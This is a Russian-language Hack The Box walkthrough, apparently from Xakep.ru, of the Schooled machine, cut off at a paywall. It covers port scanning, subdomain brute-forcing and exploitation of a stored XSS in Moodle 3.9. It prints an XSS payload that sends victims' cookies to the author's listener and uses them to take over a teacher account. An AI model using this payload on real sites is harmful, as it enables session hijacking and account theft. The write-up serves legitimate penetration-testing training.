В этой статье нам пред­сто­ит прой­ти все сту­пени повыше­ния при­виле­гий на плат­форме для онлай­нового обу­чения Moodle — вплоть до получе­ния реверс‑шел­ла и дам­па учет­ных дан­ных из базы плат­формы. Затем мы повысим при­виле­гии через уста­нов­ку кас­томно­го пакета FreeBSD. Про­делы­вать все это мы будем для зах­вата машины Schooled с пло­щад­ки Hack The Box.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

 

Сканирование портов

Ад­рес машины — 10.10.10.234, добав­ляем его в /etc/hosts и начина­ем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Результат работы скрипта
Ре­зуль­тат работы скрип­та

На­ходим три откры­тых пор­та: 22 (служ­ба SSH), 80 (веб‑сер­вер Apache 2.4.46) и 33060. Пер­вым делом прой­дем­ся по сай­ту и соберем информа­цию.

Стартовая страница сайта
Стар­товая стра­ница сай­та

На стра­нице About мы находим поч­ту для свя­зи, а так­же домен — schooled.htb.

Страница About
Стра­ница About
 

Сканирование веб-контента

Боль­ше ничего най­ти не уда­лось, а так как schooled.htb ока­зал­ся зарегис­три­рован­ным доменом, сто­ит помимо ска­ниро­вания фай­лов и дирек­торий переб­рать так­же и под­домены. Я это делаю с помощью Burp Intruder — он уме­ет про­дол­жать ска­ниро­вать пос­ле обры­ва соеди­нения. Перенап­равля­ем зап­рос в Intruder, ука­зыва­ем сло­варь /Discovery/DNS/subdomains-top1million-5000.txt из набора SecLists, а так­же уста­новим 120 потоков.

Настройка Burp — Positions
Нас­трой­ка Burp — Positions
Настройка Burp — Payloads
Нас­трой­ка Burp — Payloads
Настройка Burp — Options
Нас­трой­ка Burp — Options
Результат перебора
Ре­зуль­тат перебо­ра

И мы находим новый под­домен — moodle.schooled.htb. Сра­зу добавим его в /etc/hosts и пос­мотрим, что там.

Стартовая страница Moodle
Стар­товая стра­ница Moodle

Moodle — это веб‑при­ложе­ние, при помощи которо­го мож­но делать сай­ты для онлай­нового обу­чения. Сис­тема поз­воля­ет нас­тра­ивать макеты стра­ниц, к тому же мож­но наладить интегра­цию с раз­ным ПО, вклю­чая инс­тру­мен­ты для обще­ния, сов­мес­тной работы и управле­ния докумен­тами. Что очень важ­но, Moodle рас­простра­няет­ся сво­бод­но и име­ет откры­тый исходный код.

Форма авторизации Moodle
Фор­ма авто­риза­ции Moodle
 

Точка входа

 

Поиск эксплоитов

Так как мы име­ем дело с готовым про­дук­том, нет смыс­ла «тыкать кавыч­ки» самос­тоятель­но. Гораз­до про­дук­тивнее будет узнать точ­ную вер­сию и поис­кать информа­цию или отче­ты об уже име­ющих­ся уяз­вимос­тях, а воз­можно, и готовые экс­пло­иты. Мож­но най­ти ис­ходные коды на GitHub и узнать, где в прог­рамме рас­положе­на информа­ция о текущей вер­сии. Смот­рим, что у нас на сер­вере, и узна­ем, что исполь­зует­ся вер­сия 3.9.

Файл upgrade.txt в репозиториях GitHub
Файл upgrade.txt в репози­тори­ях GitHub
Запрос файла upgrade.txt на сервере
Зап­рос фай­ла upgrade.txt на сер­вере

Те­перь можем поис­кать информа­цию об уяз­вимос­тях и готовых экс­пло­итах.

Справка: поиск готовых эксплоитов

При пен­тесте луч­ше все­го искать экс­пло­иты при помощи Google, пос­коль­ку этот поис­ковик заг­лядыва­ет и в лич­ные бло­ги, и в самые раз­ные отче­ты. Уско­рят дело спе­циали­зиро­ван­ные базы вро­де Exploit-DB — там час­то мож­но обна­ружить под­ходящие вари­анты. Если ты работа­ешь в спе­циали­зиро­ван­ной ОС вро­де Kali Linux, то эта база у тебя уже есть и для поис­ка мож­но исполь­зовать ути­литу searchsploit.

Эксплоиты, найденные searchsploit
Экс­пло­иты, най­ден­ные searchsploit

Для вер­сии 3.9 экс­пло­итов нет, но есть для более све­жей 3.10.3. Сто­ит ее поп­робовать, так как есть веро­ятность, что уяз­вимость при­сутс­тву­ет и в ран­них вер­сиях. Пос­мотрим детали уяз­вимос­ти.

searchsploit -p php/webapps/49714.txt
Получение эксплоита
По­луче­ние экс­пло­ита
Описание уязвимости
Опи­сание уяз­вимос­ти
 

Эксплуатация Stored XSS

Эта вер­сия уяз­вима к ата­ке XSS, при­чем хра­нимой. Для про­вер­ки уяз­вимос­ти регис­три­руем­ся и авто­ризу­емся в сис­теме. Внед­рить код мож­но через поле MoodleNet profile в нас­трой­ках поль­зовате­ля. Давай внед­рим сле­дующий код, который будет показы­вать окош­ко с тек­стом 1.

<img src="1" onerror="alert(1)" />
Сохранение нагрузки
Сох­ранение наг­рузки

Так как это Stored XSS, код будет выпол­нять­ся каж­дый раз при прос­мотре поль­зовате­лем нашего про­филя.

Выполнение кода при просмотре профиля
Вы­пол­нение кода при прос­мотре про­филя

Так как уяз­вимость под­твержде­на, мы можем украсть cookie. Для это­го откро­ем на локаль­ном хос­те веб‑сер­вер python3.

python3 -m http.server 8888

А теперь внед­рим код, который будет заг­ружать с нашего сер­вера кар­тинку, а в качес­тве парамет­ра будем переда­вать куки. Так они и попадут к нам.

<img src="1" onerror='this.src="http://10.10.14.195:8888/cookie="+document.cookie' />
Логи веб-сервера
Ло­ги веб‑сер­вера

Сре­ди мно­жес­тва зап­росов мы находим тот, зна­чение парамет­ра которо­го отли­чает­ся. Под­став­ляем получен­ные cookie и перезаг­ружа­ем стра­ницу. Так мы начина­ем работать под учет­ной записью пре­пода­вате­ля.

Текущий пользователь
Те­кущий поль­зователь

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    4 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии